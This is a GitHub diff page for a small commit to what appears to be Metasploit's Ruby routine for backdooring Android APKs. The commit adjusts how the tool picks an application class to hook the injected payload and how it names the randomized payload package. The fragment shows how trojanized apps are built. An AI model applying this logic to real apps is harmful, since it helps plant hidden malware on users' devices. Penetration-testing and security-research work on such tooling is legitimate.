File tree Expand file tree Collapse file tree 1 file changed +5
-2
lines changed Expand file tree Collapse file tree 1 file changed +5
-2
lines changed Original file line number Diff line number Diff line change @@ -41,7 +41,10 @@ def find_hook_point(amanifest)
41
41
application = amanifest . xpath ( '//application' )
42
42
application_name = application . attribute ( "name" )
43
43
if application_name
44
- return application_name . to_s
44
+ application_str = application_name . to_s
45
+ unless application_str == 'android.app.Application'
46
+ return application_str
47
+ end
45
48
end
46
49
activities = amanifest . xpath ( "//activity|//activity-alias" )
47
50
for activity in activities
@@ -221,7 +224,7 @@ def backdoor_apk(apkfile, raw_payload)
221
224
FileUtils . rm Dir . glob ( "#{ tempdir } /payload/smali/com/metasploit/stage/R*.smali" )
222
225
223
226
package = amanifest . xpath ( "//manifest" ) . first [ 'package' ]
224
- package = package + ".#{ Rex ::Text ::rand_text_alpha_lower ( 5 ) } "
227
+ package = package . downcase + ".#{ Rex ::Text ::rand_text_alpha_lower ( 5 ) } "
225
228
classes = { }
226
229
classes [ 'Payload' ] = Rex ::Text ::rand_text_alpha_lower ( 5 ) . capitalize
227
230
classes [ 'MainService' ] = Rex ::Text ::rand_text_alpha_lower ( 5 ) . capitalize
You can’t perform that action at this time.
0 commit comments